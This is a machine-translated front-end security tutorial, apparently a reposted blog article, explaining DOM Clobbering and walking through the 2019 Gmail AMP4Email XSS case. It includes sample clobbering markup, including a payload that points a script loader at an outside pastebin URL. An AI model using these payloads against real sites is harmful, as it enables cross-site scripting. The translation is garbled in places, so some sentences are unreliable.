6

Preface

As a front-end programmer, you should definitely know a lot of front-end-related knowledge, such as HTML or JS-related things, but these are usually related to "use". For example, I know that when I write HTML, I need to be semantic and use the correct tags; I know how to use JS. However, although some knowledge is also related to web pages, it is not often contacted by front-end programmers.

The so-called "some knowledge" refers to knowledge related to information security. Some common concepts in information security, although related to web pages, are not familiar to us, and I think it is actually very important to understand these. Because you must know how to attack in order to defend, and you must first know the attack methods and principles before you know how to defend.

Before officially starting, let everyone practice on a small topic.

Suppose there is a piece of code, a button and a js script, as shown below:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>

<body>
  <button id="btn">click me</button>
  <script>
    // TODO: add click event listener to button
  </script>
</body>
</html>

You may now use the shortest code to achieve a will pop up when you click the button alert(1) this function.

Write it like this:

document.getElementById('btn')
  .addEventListener('click', () => {
    alert(1)
  })

So if you want to make the code the shortest, what is your answer?

Think about it before continuing, and then look down after you think about it.

.
.
.
.
.
.
.
.
.

Quantum entanglement between DOM and window

Do you know the things in the DOM may affect the window?

That is, after you set an element with id in HTML, you can directly operate it in JS:

<button id="btn">click me</button>
<script>
  console.log(window.btn) // <button id="btn">click me</button>
</script>

Due to the scope rules of JS, you can use btn directly, because when the current scope is not found, it will look up and find window all the way.

So the answer to the previous question is:

btn.onclick = () => alert(1)

There is no need for getElementById or querySelector . Just use id to get it. There should be no shorter code than this (if any, please leave a message and hit your face)

And this behavior is clearly defined in the HTML documentation, in 7.3.3 Named access on the Window object :

image.png

Excerpt from two important points:

  1. the value of the name content attribute for all embed, form, img, and object elements that have a non-empty name content attribute
  2. the value of the id content attribute for all HTML elements that have a non-empty id content attribute

That addition id can directly window access to the outside, embed , form , img and object four labels name may operate:

<embed name="a"></embed>
<form name="b"></form>
<img name="c" />
<object name="d"></object>

But what's the use of knowing this? Yes, after understanding this rule, one can draw a conclusion:

We have the opportunity to influence JS through HTML elements!

And to use this technique in the attack is the DOM Clobbering of the title. The word clobbering was known for the first time because of this attack method. I checked it and found that it has the meaning of covering in the computer professional field, which is to cover something through the DOM to achieve an attack.

Getting started with DOM Clobbering

Then, under what circumstances are there opportunities to use DOM Clobbering to attack?

You must first have the opportunity to display your own HTML on the page, otherwise there is no way. So an attackable scenario might look like this:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
  <h1>留言板</h1>
  <div>
    你的留言:Hello World!
  </div> 
  <script>
    if (window.TEST_MODE) {
      // load test script
      var script = document.createElement('script')
      script.src = window.TEST_SCRIPT_SRC
      document.body.appendChild(script)
    }
  </script>
</body>
</html>

Suppose there is a message board where you can enter any content, but your input will be processed on the server side (for example, with DOMPurify ), all things that can execute JavaScript are filtered out, so <script></script> will be Delete, <img src=x onerror=alert(1)> of onerror will be removed, and many XSS payloads will also be killed.

In short, you can't execute JavaScript to perform XSS attacks, because these are filtered out.

But because of various factors, HTML tags are not filtered out, so what you can do is display custom HTML. As long as the JS is not executed, you can insert any HTML tags and set any attributes.

So you can do this:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
  <h1>留言板</h1>
  <div>
    你的留言:<div id="TEST_MODE"></div>
    <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
  </div> 
  <script>
    if (window.TEST_MODE) {
      // load test script
      var script = document.createElement('script')
      script.src = window.TEST_SCRIPT_SRC
      document.body.appendChild(script)
    }
  </script>
</body>
</html>

According to the above we have learned the knowledge, you can insert a id is TEST_MODE label <div id="TEST_MODE"></div> , so under the JS if (window.TEST_MODE) will cross the border, because window.TEST_MODE is the div element.

In addition, we can use <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a> to window.TEST_SCRIPT_SRC into a string and become what we want.

In many cases, it is not enough to just overwrite a variable into an HTML element. For example, if you convert the window.TEST_MODE the above code into a string and print it out:

// <div id="TEST_MODE" />
console.log(window.TEST_MODE + '')

The result will be: [object HTMLDivElement] .

Turning an HTML element into a string will turn it into this form, and if it is, there is basically no way to use it. But fortunately, there are two elements in toString that will be treated specially <base> and <a> :

image.png

Source: 4.6.3 API for a and area elements

These two elements will return the URL when toString , and we can set the URL href attribute, so that the content after toString

So in combination with the above methods, we have discarded:

  1. Use HTML with id attributes to affect JS variables
  2. Use a with href and id make the element toString become the value we want afterwards

By combining the above two methods with appropriate scenarios, there is an opportunity to use DOM Clobbering to attack.

But note here, if the variable you want to attack already exists, you can't overwrite it with DOM, for example:

<!DOCTYPE html>
<html>
<head>
  <script>
    TEST_MODE = 1
  </script>
</head>
<body>
  <div id="TEST_MODE"></div> 
  <script>
    console.log(window.TEST_MODE) // 1
  </script>
</body>
</html>

Multi-level DOM Clobbering

In the previous example, we used DOM to window.TEST_MODE , creating unexpected behavior. If the object to be covered is an object, is there a chance?

For example window.config.isTest also be covered with DOM clobbering?

There are several methods. The first is to use the hierarchical relationship of HTML tags. The one with this feature is the form form:

There is such a paragraph in the description
image.png

You can use form[name] or form[id] get the elements under it, for example:

<!DOCTYPE html>
<html>
<body>
  <form id="config">
    <input name="isTest" />
    <button id="isProd"></button>
  </form>
  <script>
    console.log(config) // <form id="config">
    console.log(config.isTest) // <input name="isTest" />
    console.log(config.isProd) // <button id="isProd"></button>
  </script>
</body>
</html>

In this way, two layers of DOM clobbering can be constructed. Note, however, that there is no a available, so toString after will be no way to use.

But more likely to take advantage of the opportunity, when you want something covered with value time access, such as: config.enviroment.value , you can use input of value attributes do cover:

<!DOCTYPE html>
<html>
<body>
  <form id="config">
    <input name="enviroment" value="test" />
  </form>
  <script>
    console.log(config.enviroment.value) // test
  </script>
</body>
</html>

Simply put, only those built-in properties can be overridden, and there is no other way.

In addition to using the hierarchy of HTML itself, you can also use another feature: HTMLCollection.

Named access on the Window object that we saw earlier, the paragraph that determines what the value is is written like this:
image.png

If there are multiple things to be returned, HTMLCollection is returned.

<!DOCTYPE html>
<html>
<body>
  <a id="config"></a>
  <a id="config"></a>
  <script>
    console.log(config) // HTMLCollection(2)
  </script>
</body>
</html>

What can be done with HTMLCollection? In 4.2.10.2. Interface HTMLCollection mentioned, you can use name or id get the elements in HTMLCollection.

image.png

like this:

<!DOCTYPE html>
<html>
<body>
  <a id="config"></a>
  <a id="config" name="apiUrl" href="https://huli.tw"></a>
  <script>
    console.log(config.apiUrl + '')
    // https://huli.tw
  </script>
</body>
</html>

You can id same name, and then use name to get specific elements of HTMLCollection, which can achieve the same two-layer effect.

And if you combine form with HTMLCollection, you can achieve three levels:

<!DOCTYPE html>
<html>
<body>
  <form id="config"></form>
  <form id="config" name="prod">
    <input name="apiUrl" value="123" />
  </form>
  <script>
    console.log(config.prod.apiUrl.value) //123
  </script>
</body>
</html>

id of the same name, so that config can get HTMLCollection, and then use config.prod to get the HTMLCollection name is prod , which is the form , then form.apiUrl gets the input under the form, and finally value gets the inside. Attributes.

So if the last attribute to be taken is the HTML attribute, it can be four layers, otherwise it can only be three layers.

More levels of DOM Clobbering

As mentioned earlier, the three-layer or conditional four-layer is already the limit, so is there any other way to break the limit?

According to the approach given in DOM Clobbering strikes back , yes, it can be done iframe

When you create a iframe and give it a name , use this name to refer to iframe in window , so you can do this:

<!DOCTYPE html>
<html>
<body>
  <iframe name="config" srcdoc='
    <a id="apiUrl"></a>
  '></iframe>
  <script>
    setTimeout(() => {
      console.log(config.apiUrl) // <a id="apiUrl"></a>
    }, 500)
  </script>
</body>
</html>

The reason why setTimeout is needed here is because iframe not loaded synchronously, so it takes some time to get the things in iframe

With iframe , more levels can be created:

<!DOCTYPE html>
<html>
<body>
  <iframe name="moreLevel" srcdoc='
    <form id="config"></form>
    <form id="config" name="prod">
      <input name="apiUrl" value="123" />
    </form>
  '></iframe>
  <script>
    setTimeout(() => {
      console.log(moreLevel.config.prod.apiUrl.value) //123
    }, 500)
  </script>
</body>
</html>

Theoretically, you can put iframe in iframe to achieve unlimited levels of DOM clobbering, but I tried it and found that there may be some coding problems, for example, like this:

<!DOCTYPE html>
<html>
<body>
  <iframe name="level1" srcdoc='
    <iframe name="level2" srcdoc="
      <iframe name="level3"></iframe>
    "></iframe>
  '></iframe>
  <script>
    setTimeout(() => {
      console.log(level1.level2.level3) // undefined
    }, 500)
  </script>
</body>
</html>

Print out will be undefined , but if level3 that double quotation marks removed, direct written name=level3 can successfully print out the contents, I guess because some resolve problems caused by single quotes double quotes, and what are the solutions currently not found , I only tried this to be feasible, but I went wrong again:

<!DOCTYPE html>
<html>
<body>
  <iframe name="level1" srcdoc="
    <iframe name=&quot;level2&quot; srcdoc=&quot;
      <iframe name='level3' srcdoc='
        <iframe name=level4></iframe>
      '></iframe>
    &quot;></iframe>
  "></iframe>
  <script>
    setTimeout(() => {
      console.log(level1.level2.level3.level4)
    }, 500)
  </script>
</body>
</html>

But in fact, such a deep level should not be used, so four layers at most five layers are enough.

Case study: Gmail AMP4Email XSS

In 2019, there is a vulnerability in Gmail that was attacked through DOM clobbering. The complete analysis is here: XSS in GMail's AMP4Email via DOM Clobbering , the following briefly talks about the process (part of the content is taken from this article).

Simply put, you can use some of the AMP functions in Gmail, and Google verifies this format very rigorously, so there is no way to perform XSS in a general way.

However, someone found that it was possible to set the id on the HTML element, and found that after he set a <a id="AMP_MODE"> , a script loading error suddenly appeared in the console, and one of the undefined in the URL was 060bee443712d8. After studying the code carefully, there is a piece of code that looks like this:

var script = window.document.createElement("script");
script.async = false;

var loc;
if (AMP_MODE.test && window.testLocation) {
    loc = window.testLocation
} else {
    loc = window.location;
}

if (AMP_MODE.localDev) {
    loc = loc.protocol + "//" + loc.host + "/dist"
} else {
    loc = "https://cdn.ampproject.org";
}

var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";

document.head.appendChild(b);

If you can make AMP_MODE.test and AMP_MODE.localDev both true values, you can load any script with the setting of window.testLocation

So the attack code will look like this:

// 让 AMP_MODE.test 和 AMP_MODE.localDev 有内容
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>

// 设置 testLocation.protocol
<a id="testLocation"></a>
<a id="testLocation" name="protocol" 
   href="https://pastebin.com/raw/0tn8z0rG#"></a>

Finally, you can successfully load any script, and proceed to XSS! (However, the author only tried this step and was stopped by CSP).

This should be one of the most famous cases of DOM Clobbering.

to sum up

Although the usage scenarios of DOM Clobbering are limited, it is a rather interesting attack method! And if you don't know this feature, you may not have thought that you can influence the content of global variables through HTML.

If you are interested in this attack method, you can refer to PortSwigger's article , which provides two experiments for everyone to try this attack method.

173382ede7319973.gif


This article first published WeChat public account: Front-end Pioneer

Welcome to scan the QR code to follow the official account, and push you fresh front-end technical articles every day

欢迎扫描二维码关注公众号,每天都给你推送新鲜的前端技术文章


Welcome to continue reading other highly praised articles in this column:



疯狂的技术宅
44.4k 声望39.2k 粉丝